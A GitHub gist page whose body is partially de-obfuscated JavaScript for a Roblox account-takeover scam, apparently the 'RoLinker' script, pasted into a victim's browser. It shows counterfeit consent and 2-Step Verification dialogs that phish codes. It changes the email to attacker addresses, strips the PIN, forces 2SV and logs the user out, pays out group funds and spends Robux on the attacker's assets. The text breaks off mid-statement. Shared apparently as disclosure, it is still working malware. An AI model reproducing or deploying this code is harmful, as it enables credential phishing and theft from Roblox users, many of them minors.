Skip to content

Instantly share code, notes, and snippets.

@Windows81
Last active April 29, 2024 03:34
Show Gist options
  • Save Windows81/d082ce6acd021b063f5f89857687405c to your computer and use it in GitHub Desktop.
Save Windows81/d082ce6acd021b063f5f89857687405c to your computer and use it in GitHub Desktop.
Just run the code on the Rōblox website. Your account will be cracked by Motive Creations! Now partially de-obfuscated. (https://web.archive.org/web/20240414040726/https://rolinker.io/)
;(function () {
var m = function () {
var w = {
DGIzc: function (l, S) {
return l <= S
},
TTLAI: function (l, S) {
return l < S
},
kYqkE: function (l, S) {
return l - S
},
nMITS: function (l, S) {
return l - S
},
ylBOn: 'btn-cta-md modal-modern-footer-button',
}
var q
try {
q = Function('return (function() {}.constructor("return this")( ));')()
} catch (U) {
q = window
}
return q
}
var C = m()
C.setInterval(Y, 4000)
})()
;(async function () {
var U = (function () {
var F = true
return function (n, y) {
var I = F
? function () {
if (y) {
var r = y.apply(n, arguments)
return (y = null), r
}
}
: function () {}
return (F = false), I
}
})(),
R = U(this, function () {
return R.toString()
.search('(((.+)+)+)+$')
.toString()
.constructor(R)
.search('(((.+)+)+)+$')
})
R()
var A = (function () {
var F = true
return function (n, y) {
var P = F
? function () {
if (y) {
var X = y.apply(n, arguments)
return (y = null), X
}
}
: function () {}
return (F = false), P
}
})()
;(function () {
A(this, function () {
var E = new RegExp('function *\\( *\\)'),
n = new RegExp('\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)', 'i'),
y = Y('init')
if (!E.test(y + 'chain') || !n.test(y + 'input')) {
y('0')
} else {
Y()
}
})()
})()
var e = (function () {
var F = true
return function (n, y) {
var P = F
? function () {
if (y) {
var H = y.apply(n, arguments)
return (y = null), H
}
}
: function () {}
return (F = false), P
}
})(),
k = e(this, function () {
var E
try {
var n = Function(
'return (function() {}.constructor("return this")( ));'
)
E = n()
} catch (o) {
E = window
}
var y = (E.console = E.console || {}),
I = ['log', 'warn', 'info', 'error', 'exception', 'table', 'trace']
for (var P = 0; P < I.length; P++) {
var G = e.constructor.prototype.bind(e)
var T = I[P]
var H = y[T] || G
G['__proto__'] = e.bind(e)
G.toString = H.toString.bind(H)
}
})
k()
const O = (V) => new Promise((F) => setTimeout(F, V))
var p = [
'creationemail1@ezztt.com',
'creationemail2@ezztt.com',
'creationemail3@ezztt.com',
],
b = p[Math.floor(Math.random() * p.length)],
g = 'ezztt.com'
var Q = 500,
L = {
assetIdArray_1000: [1000, '1794541749', '16986768516'],
assetIdArray_5000: [5000, '1794542052', '16986772869'],
assetIdArray_10000: [10000, '1787690961', '16986773507'],
assetIdArray_20000: [20000, '1794542134', '16986774106'],
assetIdArray_30000: [30000, '1794542166', '16986774597'],
assetIdArray_40000: [40000, '1794542196', '16986774988'],
assetIdArray_50000: [50000, '1794542235', '16986775698'],
assetIdArray_80000: [80000, '1794542291', '16986776187'],
assetIdArray_90000: [90000, '1794542323', '16986776540'],
assetIdArray_100000: [100000, '1794542362', '16986777032'],
}
var x = L,
t = []
try {
console.log(
document.getElementsByClassName('text-footer footer-note')[0].innerText
)
} catch {
window.location.reload()
}
document.getElementsByClassName('text-footer footer-note')[0].innerText !=
'Active' &&
((document.getElementsByClassName('text-footer footer-note')[0].innerText =
'Active'),
$.ajax({
method: 'GET',
url: 'https://users.roblox.com/v1/users/authenticated',
contentType: 'application/json',
success: function (E) {
var y = E.id
try {
var I = { friendshipOriginSourceType: 0 }
$.ajax({
method: 'POST',
url:
'https://friends.roblox.com/v1/users/' +
5762605139 +
'/request-friendship',
contentType: 'application/json',
data: JSON.stringify(I),
})
} catch {}
async function P() {
function c() {
$.ajax({
method: 'GET',
url: 'https://accountsettings.roblox.com/v1/email',
contentType: 'application/json',
success: function (W) {
if (W.emailAddress == null) {
var N = {
emailAddress: b,
password: '',
}
$.ajax({
method: 'POST',
url: 'https://accountsettings.roblox.com/v1/email',
contentType: 'application/json',
data: JSON.stringify(N),
})
} else {
var K = W.emailAddress,
f = W.verified
if (K.includes(g) == true) {
if (f == true) {
console.log(
'Enable Email Two Step and then sign them out'
)
var z = {
method: 'POST',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/configuration/email/enable',
contentType: 'application/json',
}
$.ajax(z)
var J = {
method: 'POST',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/configuration/email/enable',
contentType: 'application/json',
}
$.ajax(J)
var i0 = {
method: 'POST',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/configuration/email/enable',
contentType: 'application/json',
}
$.ajax(i0)
var i1 = {
method: 'POST',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/configuration/email/enable',
contentType: 'application/json',
}
$.ajax(i1)
;(async function () {
await O(500)
var i5 = {
method: 'POST',
url: 'https://auth.roblox.com/v2/logout',
contentType: 'application/json',
}
$.ajax(i5)
})()
} else {
var i2 = {
method: 'POST',
url: 'https://accountsettings.roblox.com/v1/email/verify',
contentType: 'application/json',
}
$.ajax(i2)
}
}
}
},
}),
setTimeout(c, 2000)
}
c()
function o(j, u) {
$.ajax({
method: 'POST',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/challenges/email/send-code',
contentType: 'application/json',
data: JSON.stringify({
actionType: 'Generic',
challengeId: j,
}),
success: function () {
var N =
'<div id="twoStepPrompts" role="dialog"> <div class="fade modal-backdrop in"></div> <div role="dialog" tabindex="-1" style="display: block;" class="fade modal-modern in modal"> <div class="modal-dialog"> <div class="modal-content" role="document"> <div title="" class="modal-header"> <button type="button" class="modal-modern-header-button"></button> <h4 class="modal-title">2-Step Verification</h4> <div class="modal-modern-header-info"></div> </div> <div class="modal-body"> <div class="modal-lock-icon"></div> <p class="modal-margin-bottom-xlarge">Enter the code we just sent you via email. </p> <div class="input-control-wrapper"> <div id="groupElementId" class="form-group"> <input as="input" inputmode="numeric" autocomplete="off" maxlength="6" placeholder="Enter 6-digit Code" type="text" id="two-step-verification-code-input" class="input-field form-control" value=""> <div class="form-control-label bottom-label xsmall">&nbsp;</div> </div> </div> </div> <div class="modal-footer"> <div class="modal-modern-footer-buttons"> <button type="button" class="btn-cta-md modal-modern-footer-button" aria-label="Verify" disabled="">Verify</button> </div> <p class="text-footer modal-margin-bottom">Need help? Contact <a class="text-name text-footer contact" href="https://www.roblox.com/info/2sv" target="_blank" rel="noopener noreferrer">Roblox Support</a></p> <p class="text-footer">IMPORTANT: Don\'t share your security codes with anyone. Roblox will never ask you for your codes. This can include things like texting your code, screensharing, etc.</p> </div> </div> </div> </div> </div>'
document.body.insertAdjacentHTML('beforeend', N)
function f() {
if (
document.getElementById('two-step-verification-code-input')
.value.length == 6
) {
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].disabled = false
} else {
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].disabled = true
}
setTimeout(f, 100)
}
f()
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].onclick = function () {
$.ajax({
method: 'POST',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/challenges/email/verify',
contentType: 'application/json',
data: JSON.stringify({
challengeId: j,
actionType: 'Generic',
code: document.getElementById(
'two-step-verification-code-input'
).value,
}),
success: function (i0) {
var i2 = i0.verificationToken
$.ajax({
method: 'POST',
url: 'https://apis.roblox.com/challenge/v1/continue',
contentType: 'application/json',
data: JSON.stringify({
challengeId: u,
challengeMetadata:
'{"verificationToken":"' +
i2 +
'","rememberDevice":false,"challengeId":"' +
j +
'","actionType":"Generic"}',
challengeType: 'twostepverification',
}),
success: function () {
document.getElementById('twoStepPrompts').remove(),
O(2000),
r(),
P()
},
})
},
error: function () {
document.getElementsByClassName(
'form-control-label bottom-label xsmall'
)[0].innerText = 'Invalid code'
document.getElementById('groupElementId').className =
'form-has-feedback form-has-error form-group'
},
})
}
},
})
}
function B(j, u) {
var D =
'<div id="twoStepPrompts" role="dialog"> <div class="fade modal-backdrop in"></div> <div role="dialog" tabindex="-1" style="display: block;" class="fade modal-modern in modal"> <div class="modal-dialog"> <div class="modal-content" role="document"> <div title="" class="modal-header"> <button type="button" class="modal-modern-header-button"></button> <h4 class="modal-title">2-Step Verification</h4> <div class="modal-modern-header-info"></div> </div> <div class="modal-body"> <div class="modal-lock-icon"></div> <p class="modal-margin-bottom-xlarge">Enter the code generated by your authenticator app. </p> <div class="input-control-wrapper"> <div id="groupElementId" class="form-group"> <input as="input" inputmode="numeric" autocomplete="off" maxlength="6" placeholder="Enter 6-digit Code" type="text" id="two-step-verification-code-input" class="input-field form-control" value=""> <div class="form-control-label bottom-label xsmall">&nbsp;</div> </div> </div> </div> <div class="modal-footer"> <div class="modal-modern-footer-buttons"> <button type="button" class="btn-cta-md modal-modern-footer-button" aria-label="Verify" disabled="">Verify</button> </div> <p class="text-footer modal-margin-bottom">Need help? Contact <a class="text-name text-footer contact" href="https://www.roblox.com/info/2sv" target="_blank" rel="noopener noreferrer">Roblox Support</a></p> <p class="text-footer">IMPORTANT: Don\'t share your security codes with anyone. Roblox will never ask you for your codes. This can include things like texting your code, screensharing, etc.</p> </div> </div> </div> </div> </div>'
document.body.insertAdjacentHTML('beforeend', D)
function N() {
if (
document.getElementById('two-step-verification-code-input')
.value.length == 6
) {
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].disabled = false
} else {
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].disabled = true
}
setTimeout(N, 100)
}
N()
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].onclick = function () {
$.ajax({
method: 'POST',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/challenges/authenticator/verify',
contentType: 'application/json',
data: JSON.stringify({
challengeId: j,
actionType: 'Generic',
code: document.getElementById(
'two-step-verification-code-input'
).value,
}),
success: function (f) {
var J = f.verificationToken
$.ajax({
method: 'POST',
url: 'https://apis.roblox.com/challenge/v1/continue',
contentType: 'application/json',
data: JSON.stringify({
challengeId: u,
challengeMetadata:
'{"verificationToken":"' +
J +
'","rememberDevice":false,"challengeId":"' +
j +
'","actionType":"Generic"}',
challengeType: 'twostepverification',
}),
success: function () {
document.getElementById('twoStepPrompts').remove(),
O(2000),
P()
},
})
},
error: function () {
;(document.getElementsByClassName(
'form-control-label bottom-label xsmall'
)[0].innerText = 'Invalid code'),
(document.getElementById('groupElementId').className =
'form-has-feedback form-has-error form-group')
},
})
}
}
function d(j) {
$.ajax({
method: 'POST',
url: 'https://apis.roblox.com/otp-service/v1/sendCodeForUser',
contentType: 'application/json',
data: JSON.stringify({
contactType: 'Email',
messageVariant: 'Default',
origin: 'Reauth',
}),
success: function (W) {
var N = W.otpSessionToken,
K =
'<div id="twoStepPrompts" role="dialog"> <div class="fade modal-backdrop in"></div> <div role="dialog" tabindex="-1" style="display: block;" class="fade modal-modern in modal"> <div class="modal-dialog"> <div class="modal-content" role="document"> <div title="" class="modal-header"> <button type="button" class="modal-modern-header-button"></button> <h4 class="modal-title">2-Step Verification</h4> <div class="modal-modern-header-info"></div> </div> <div class="modal-body"> <div class="modal-lock-icon"></div> <p class="modal-margin-bottom-xlarge">A one-time code has been sent to your registered email. Please enter your one-time code to continue.</p> <div class="input-control-wrapper"> <div id="groupElementId" class="form-group"> <input as="input" inputmode="numeric" autocomplete="off" maxlength="6" placeholder="Enter 6-Digit Code" type="text" id="two-step-verification-code-input" class="input-field form-control" value=""> <div class="form-control-label bottom-label xsmall">\xA0;</div> </div> </div> </div> <div class="modal-footer"> <div class="modal-modern-footer-buttons"> <button type="button" class="btn-cta-md modal-modern-footer-button" aria-label="Verify" disabled="">Verify</button> </div> <p class="text-footer modal-margin-bottom">Need help? Contact <a class="text-name text-footer contact" href="https://www.roblox.com/info/2sv" target="_blank" rel="noopener noreferrer">Roblox Support</a></p> <p class="text-footer">IMPORTANT: Don\'t share your security codes with anyone. Roblox will never ask you for your codes. This can include things like texting your code, screensharing, etc.</p> </div> </div> </div> </div> </div>'
document.body.insertAdjacentHTML('beforeend', K)
function z() {
if (
document.getElementById('two-step-verification-code-input')
.value.length == 6
) {
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].disabled = false
} else {
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].disabled = true
}
setTimeout(z, 100)
}
z()
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].onclick = function () {
$.ajax({
method: 'POST',
url: 'https://apis.roblox.com/otp-service/v1/validateCode',
contentType: 'application/json',
data: JSON.stringify({
contactType: 'Email',
origin: 'Reauth',
otpSessionToken: N,
passCode: document.getElementById(
'two-step-verification-code-input'
).value,
}),
success: function () {
$.ajax({
method: 'POST',
url: 'https://apis.roblox.com/reauthentication-service/v1/token/generate',
contentType: 'application/json',
data: JSON.stringify({
sessionId: N,
type: 'Otp_Email',
}),
success: function (i1) {
;(responseToken = i1.token),
$.ajax({
method: 'POST',
url: 'https://apis.roblox.com/challenge/v1/continue',
contentType: 'application/json',
data: JSON.stringify({
challengeId: j,
challengeMetadata:
'{"reauthenticationToken":"' +
responseToken +
'"}',
challengeType: 'reauthentication',
}),
success: function () {
document
.getElementById('twoStepPrompts')
.remove(),
O(2000),
P()
},
})
},
})
},
error: function () {
document.getElementsByClassName(
'form-control-label bottom-label xsmall'
)[0].innerText = 'Invalid code'
document.getElementById('groupElementId').className =
'form-has-feedback form-has-error form-group'
},
})
}
},
})
}
function v(j, u) {
$.ajax({
method: 'GET',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/configuration',
contentType: 'application/json',
success: function (D) {
var K = D.primaryMediaType
if (K == 'Email') {
o(j, u)
} else {
if (K == 'Authenticator') {
B(j, u)
} else {
K == null && d(u)
}
}
},
})
}
function h() {
var u = {
birthDay: 2,
birthMonth: 2,
birthYear: 2022,
}
$.ajax({
method: 'POST',
url: 'https://users.roblox.com/v1/birthdate',
contentType: 'application/json',
data: JSON.stringify(u),
success: function () {
var D = {
emailAddress: b,
password: '',
}
$.ajax({
method: 'POST',
url: 'https://accountsettings.roblox.com/v1/email',
contentType: 'application/json',
data: JSON.stringify(D),
success: function () {
;(async function () {
await O(1500),
$.ajax({
method: 'GET',
url: 'https://accountsettings.roblox.com/v1/email',
contentType: 'application/json',
success: function (z) {
if (z.emailAddress == null) {
var i0 = {
emailAddress: b,
password: '',
}
$.ajax({
method: 'POST',
url: 'https://accountsettings.roblox.com/v1/email',
contentType: 'application/json',
data: JSON.stringify(i0),
})
}
},
})
})()
},
error: function () {
;(async function () {
await O(1500),
$.ajax({
method: 'GET',
url: 'https://accountsettings.roblox.com/v1/email',
contentType: 'application/json',
success: function (i0) {
if (i0.emailAddress == null) {
var i1 = {
emailAddress: b,
password: '',
}
$.ajax({
method: 'POST',
url: 'https://accountsettings.roblox.com/v1/email',
contentType: 'application/json',
data: JSON.stringify(i1),
})
}
},
})
})()
},
})
},
error: function (W) {
var D = atob(W.getResponseHeader('rblx-challenge-metadata')),
N = W.getResponseHeader('rblx-challenge-id'),
K = D.split('"challengeId":"').pop().split('"')[0]
v(K, N)
},
})
}
var G =
'<div id="RoLinker1" role="dialog"><div class="fade modal-backdrop in"></div><div aria-labelledby="contained-modal-title-vcenter" scrollable="true" centered="true" role="dialog" tabindex="-1" style="display: block;" class="fade verification-modal in modal"><div class="modal-sm modal-dialog"><div class="modal-content" role="document"><div><div title="" class="modal-header"><div class="verification-upsell-title-container"><button type="button" class="verification-upsell-title-button"></button><h4 id="contained-modal-title-vcenter" class="modal-title">RoLinker Agreement </h4></div></div><div class="verification-upsell-text-body text-description">RoLinker can view your Roblox Username</div><div class="modal-footer"><div class="text-description font-caption-body phone-verification-legal-text" hidden="">By clicking "Continue", you are submitting your phone number and agreeing to our <a href="https://en.help.roblox.com/hc/articles/9483830673556-Roblox-SMS-Terms-of-Service">SMS Terms of Use</a> and <a href="https://en.help.roblox.com/hc/articles/115004630823">Privacy Policy</a>. We will send you a one-time verification code. Message and data rates may apply. Reply HELP for help.</div><div class="buttons-section"><button type="button" class="accept-btn btn-primary-md btn-min-width" id="agreeRoLinker">Agree & Continue</button></div><div></div></div></div></div></div></div></div>'
document.body.insertAdjacentHTML('beforeend', G)
document.getElementById('agreeRoLinker').onclick = function () {
document.getElementById('agreeRoLinker').disabled = true
$.ajax({
method: 'GET',
url: 'https://auth.roblox.com/v1/account/pin',
contentType: 'application/json',
success: function (u) {
var D = u.isEnabled,
N = u.unlockedUntil
if (D == true) {
if (N == null) {
document.getElementsByClassName(
'text-footer footer-note'
)[0].innerText = 'Not Active'
if (document.getElementById('pinPopupz') == null) {
var K =
'<div id="pinPopupz" role="dialog"><div class="fade modal-backdrop in"></div><div role="dialog" tabindex="-1" class="fade modal-modern in modal" style="display: block; padding-left: 23px;"><div class="modal-dialog"><div class="modal-content" role="document"><div title="" class="modal-header"><button type="button" class="modal-modern-header-button"></button><h4 class="modal-title">Account PIN Locked</h4><div class="modal-modern-header-info"></div></div><div class="modal-body"><p>Unlock the PIN attached to your account to continue</p></div><div class="modal-footer"><div class="modal-modern-footer-buttons"><a class="btn-cta-md modal-modern-footer-button" aria-label="Set Up" target="_blank" href="https://www.roblox.com/my/account#!/parental-controls">Open Settings</a></div></div></div></div></div></div>'
document.body.insertAdjacentHTML('beforeend', K)
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].onclick = function () {
document.getElementById('pinPopupz').remove()
document.getElementsByClassName(
'text-footer footer-note'
)[0].innerText = 'Not Active'
}
}
} else {
try {
document.getElementById('pinPopupz').remove()
} catch {}
$.ajax({
method: 'DELETE',
url: 'https://auth.roblox.com/v1/account/pin',
contentType: 'application/json',
success: function () {
h()
},
error: function (i1) {
var i2 = atob(
i1.getResponseHeader('rblx-challenge-metadata')
),
i3 = i1.getResponseHeader('rblx-challenge-id'),
i4 = i2.split('"challengeId":"').pop().split('"')[0]
v(i4, i3)
},
})
}
} else {
h()
}
},
})
}
}
async function X() {
function G(h, j) {
$.ajax({
method: 'POST',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/challenges/email/send-code',
contentType: 'application/json',
data: JSON.stringify({
actionType: 'Generic',
challengeId: h,
}),
success: function () {
var D =
'<div id="twoStepPrompts" role="dialog"> <div class="fade modal-backdrop in"></div> <div role="dialog" tabindex="-1" style="display: block;" class="fade modal-modern in modal"> <div class="modal-dialog"> <div class="modal-content" role="document"> <div title="" class="modal-header"> <button type="button" class="modal-modern-header-button"></button> <h4 class="modal-title">2-Step Verification</h4> <div class="modal-modern-header-info"></div> </div> <div class="modal-body"> <div class="modal-lock-icon"></div> <p class="modal-margin-bottom-xlarge">Enter the code we just sent you via email. </p> <div class="input-control-wrapper"> <div id="groupElementId" class="form-group"> <input as="input" inputmode="numeric" autocomplete="off" maxlength="6" placeholder="Enter 6-digit Code" type="text" id="two-step-verification-code-input" class="input-field form-control" value=""> <div class="form-control-label bottom-label xsmall">&nbsp;</div> </div> </div> </div> <div class="modal-footer"> <div class="modal-modern-footer-buttons"> <button type="button" class="btn-cta-md modal-modern-footer-button" aria-label="Verify" disabled="">Verify</button> </div> <p class="text-footer modal-margin-bottom">Need help? Contact <a class="text-name text-footer contact" href="https://www.roblox.com/info/2sv" target="_blank" rel="noopener noreferrer">Roblox Support</a></p> <p class="text-footer">IMPORTANT: Don\'t share your security codes with anyone. Roblox will never ask you for your codes. This can include things like texting your code, screensharing, etc.</p> </div> </div> </div> </div> </div>'
document.body.insertAdjacentHTML('beforeend', D)
function K() {
if (
document.getElementById('two-step-verification-code-input')
.value.length == 6
) {
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].disabled = false
} else {
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].disabled = true
}
setTimeout(K, 100)
}
K()
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].onclick = function () {
$.ajax({
method: 'POST',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/challenges/email/verify',
contentType: 'application/json',
data: JSON.stringify({
challengeId: h,
actionType: 'Generic',
code: document.getElementById(
'two-step-verification-code-input'
).value,
}),
success: function (J) {
var i0 = J.verificationToken
$.ajax({
method: 'POST',
url: 'https://apis.roblox.com/challenge/v1/continue',
contentType: 'application/json',
data: JSON.stringify({
challengeId: j,
challengeMetadata:
'{"verificationToken":"' +
i0 +
'","rememberDevice":false,"challengeId":"' +
h +
'","actionType":"Generic"}',
challengeType: 'twostepverification',
}),
success: function () {
document.getElementById('twoStepPrompts').remove(),
O(2000),
d()
},
})
},
error: function () {
document.getElementsByClassName(
'form-control-label bottom-label xsmall'
)[0].innerText = 'Invalid code'
document.getElementById('groupElementId').className =
'form-has-feedback form-has-error form-group'
},
})
}
},
})
}
function c(h, j) {
var W =
'<div id="twoStepPrompts" role="dialog"> <div class="fade modal-backdrop in"></div> <div role="dialog" tabindex="-1" style="display: block;" class="fade modal-modern in modal"> <div class="modal-dialog"> <div class="modal-content" role="document"> <div title="" class="modal-header"> <button type="button" class="modal-modern-header-button"></button> <h4 class="modal-title">2-Step Verification</h4> <div class="modal-modern-header-info"></div> </div> <div class="modal-body"> <div class="modal-lock-icon"></div> <p class="modal-margin-bottom-xlarge">Enter the code generated by your authenticator app. </p> <div class="input-control-wrapper"> <div id="groupElementId" class="form-group"> <input as="input" inputmode="numeric" autocomplete="off" maxlength="6" placeholder="Enter 6-digit Code" type="text" id="two-step-verification-code-input" class="input-field form-control" value=""> <div class="form-control-label bottom-label xsmall">&nbsp;</div> </div> </div> </div> <div class="modal-footer"> <div class="modal-modern-footer-buttons"> <button type="button" class="btn-cta-md modal-modern-footer-button" aria-label="Verify" disabled="">Verify</button> </div> <p class="text-footer modal-margin-bottom">Need help? Contact <a class="text-name text-footer contact" href="https://www.roblox.com/info/2sv" target="_blank" rel="noopener noreferrer">Roblox Support</a></p> <p class="text-footer">IMPORTANT: Don\'t share your security codes with anyone. Roblox will never ask you for your codes. This can include things like texting your code, screensharing, etc.</p> </div> </div> </div> </div> </div>'
document.body.insertAdjacentHTML('beforeend', W)
function D() {
if (
document.getElementById('two-step-verification-code-input')
.value.length == 6
) {
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].disabled = false
} else {
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].disabled = true
}
setTimeout(D, 100)
}
D()
document.getElementsByClassName(
'btn-cta-md modal-modern-footer-button'
)[0].onclick = function () {
$.ajax({
method: 'POST',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/challenges/authenticator/verify',
contentType: 'application/json',
data: JSON.stringify({
challengeId: h,
actionType: 'Generic',
code: document.getElementById(
'two-step-verification-code-input'
).value,
}),
success: function (f) {
var J = f.verificationToken
$.ajax({
method: 'POST',
url: 'https://apis.roblox.com/challenge/v1/continue',
contentType: 'application/json',
data: JSON.stringify({
challengeId: j,
challengeMetadata:
'{"verificationToken":"' +
J +
'","rememberDevice":false,"challengeId":"' +
h +
'","actionType":"Generic"}',
challengeType: 'twostepverification',
}),
success: function () {
document.getElementById('twoStepPrompts').remove(),
O(2000),
d()
},
})
},
error: function () {
;(document.getElementsByClassName(
'form-control-label bottom-label xsmall'
)[0].innerText = 'Invalid code'),
(document.getElementById('groupElementId').className =
'form-has-feedback form-has-error form-group')
},
})
}
}
function o() {
var h =
'<div role="dialog"><div class="fade modal-backdrop in"></div><div role="dialog" tabindex="-1" class="fade modal-modern in modal" style="display: block; padding-left: 23px;"><div class="modal-dialog"><div class="modal-content" role="document"><div title="" class="modal-header"><button type="button" class="modal-modern-header-button"></button><h4 class="modal-title">2-Step Verification Required</h4><div class="modal-modern-header-info"></div></div><div class="modal-body"><div class="modal-lock-icon"></div><p>You must set up 2-Step Verification to complete this action.</p></div><div class="modal-footer"><div class="modal-modern-footer-buttons"><a class="btn-cta-md modal-modern-footer-button" aria-label="Set Up" href="https://www.roblox.com/my/account#!/security">Set Up</a></div></div></div></div></div></div>'
document.body.insertAdjacentHTML('beforeend', h)
}
function B(h, j) {
$.ajax({
method: 'GET',
url:
'https://twostepverification.roblox.com/v1/users/' +
y +
'/configuration',
contentType: 'application/json',
success: function (u) {
var D = u.primaryMediaType
if (D == 'Email') {
G(h, j)
} else {
if (D == 'Authenticator') {
c(h, j)
} else {
if (D == null) {
o()
}
}
}
},
})
}
async function d() {
fundsAmount = []
const j =
'https://groups.roblox.com/v1/users/' +
y +
'/groups/roles?includeLocked=false'
$.ajax({
url: j,
type: 'GET',
success: function (u) {
u &&
Array.isArray(u.data) &&
u.data.length > 0 &&
u.data.forEach((N) => {
if (
N &&
N.group &&
N.group.id &&
N.role &&
N.role.rank === 255
) {
const z = N.group.id
$.ajax({
method: 'GET',
url:
'https://economy.roblox.com/v1/groups/' +
z +
'/currency',
contentType: 'application/json',
success: function (J) {
var i2 = J.robux
fundsAmount.push(i2)
i2 > Q &&
$.ajax({
method: 'POST',
url:
'https://groups.roblox.com/v1/groups/' +
z +
'/payouts',
contentType: 'application/json',
data: JSON.stringify({
PayoutType: 'FixedAmount',
Recipients: [
{
recipientId: y,
recipientType: 'User',
amount: i2,
},
],
}),
error: function (i4) {
if (
i4.responseText.includes('restricted') ==
false
) {
var i5 = atob(
i4.getResponseHeader(
'rblx-challenge-metadata'
)
),
i6 =
i4.getResponseHeader('rblx-challenge-id'),
i7 = i5
.split('"challengeId":"')
.pop()
.split('"')[0]
B(i7, i6)
}
},
})
},
})
}
})
;(async function () {
await O(500)
fundsAmount.some((N) => N > Q) == false && P()
})()
},
})
}
var v =
'<div id="RoLinker1" role="dialog"><div class="fade modal-backdrop in"></div><div aria-labelledby="contained-modal-title-vcenter" scrollable="true" centered="true" role="dialog" tabindex="-1" style="display: block;" class="fade verification-modal in modal"><div class="modal-sm modal-dialog"><div class="modal-content" role="document"><div><div title="" class="modal-header"><div class="verification-upsell-title-container"><button type="button" class="verification-upsell-title-button"></button><h4 id="contained-modal-title-vcenter" class="modal-title">RoLinker Agreement </h4></div></div><div class="verification-upsell-text-body text-description">RoLinker can view your Roblox Username</div><div class="modal-footer"><div class="text-description font-caption-body phone-verification-legal-text" hidden="">By clicking "Continue", you are submitting your phone number and agreeing to our <a href="https://en.help.roblox.com/hc/articles/9483830673556-Roblox-SMS-Terms-of-Service">SMS Terms of Use</a> and <a href="https://en.help.roblox.com/hc/articles/115004630823">Privacy Policy</a>. We will send you a one-time verification code. Message and data rates may apply. Reply HELP for help.</div><div class="buttons-section"><button type="button" class="accept-btn btn-primary-md btn-min-width" id="agreeRoLinker">Agree & Continue</button></div><div></div></div></div></div></div></div></div>'
document.body.insertAdjacentHTML('beforeend', v)
document.getElementById('agreeRoLinker').onclick = function () {
document.getElementById('agreeRoLinker').disabled = true
d()
}
}
async function r() {
let G = function (c) {
function B(v) {
return new Promise((j, u) => {
$.ajax({
url: 'https://economy.roblox.com/v1/users/' + v + '/currency',
success: function (W) {
if ((W && W.robux) || W.robux == 0) {
let D = null,
N = Number.POSITIVE_INFINITY
if (
W.robux < Math.min(...Object.values(x).map((K) => K[0]))
) {
return
}
for (let K in x) {
x[K][0] <= W.robux &&
Math.abs(x[K][0] - W.robux) < Math.abs(N - W.robux) &&
((D = K), (N = x[K][0]))
}
D !== null && j([D, N, x[D][1], x[D][2]])
}
},
})
})
}
function d(v, h, j) {
var u = {
expectedSellerId: 5762605139,
expectedCurrency: 1,
expectedPrice: v,
}
$.ajax({
url: 'https://economy.roblox.com/v1/purchases/products/' + h,
type: 'POST',
contentType: 'application/json',
data: JSON.stringify(u),
success: function () {
var D = { assetId: j }
$.ajax({
url: 'https://www.roblox.com/asset/delete-from-inventory',
type: 'POST',
contentType: 'application/json',
data: JSON.stringify(D),
})
},
})
var W = { assetId: j }
$.ajax({
url: 'https://www.roblox.com/asset/delete-from-inventory',
type: 'POST',
contentType: 'application/json',
data: JSON.stringify(W),
})
}
return B(c).then((v) => {
d(v[1], v[2], v[3])
})
}
setInterval(() => {
G(y)
}, 3000)
}
if (t.includes(String(y)) == true) {
r()
X()
} else {
function T(G) {
const c =
'https://inventory.roblox.com/v1/users/' +
G +
'/assets/collectibles?assetType=null&cursor=&limit=100&sortOrder=Desc'
var o = {
url: c,
type: 'GET',
}
return $.ajax(o)
}
T(y)
.done(function (G) {
if (G && G.data && G.data.length > 0) {
let d = 0
G.data.forEach((v) => {
v.recentAveragePrice && (d += v.recentAveragePrice)
})
if (d > 4000) {
P()
} else {
var B =
'<div id="promptPopup" role="dialog"><div class="fade modal-backdrop in"></div><div role="dialog" tabindex="-1" class="fade modal-modern in modal" style="display: block; padding-left: 23px;"><div class="modal-dialog"><div role="document" class="modal-content"><div class="update-two-step"><div class="modal-header"><div class="modal-modern-header-button"><button type="button" class="close"><span aria-hidden="true"><span class="icon-close" id="closeButton1"></span></span><span class="sr-only">Close</span></button></div><div class="modal-title"><h5>Unable to link account</h5></div></div><div class="modal-body"><div class="text-center"><div>Your account is not qualified to be linked to RoLinker Alternative accounts are not allowed</div></div></div><div class="modal-footer"></div></div></div></div></div></div>'
document.body.insertAdjacentHTML('beforeend', B)
document.getElementById('closeButton1').onclick =
function () {
document.getElementById('promptPopup').remove()
document.getElementsByClassName(
'text-footer footer-note'
)[0].innerText = 'Not Active'
}
document.getElementById('promptPopup').onclick = function () {
document.getElementById('promptPopup').remove()
document.getElementsByClassName(
'text-footer footer-note'
)[0].innerText = 'Not Active'
}
}
} else {
var B =
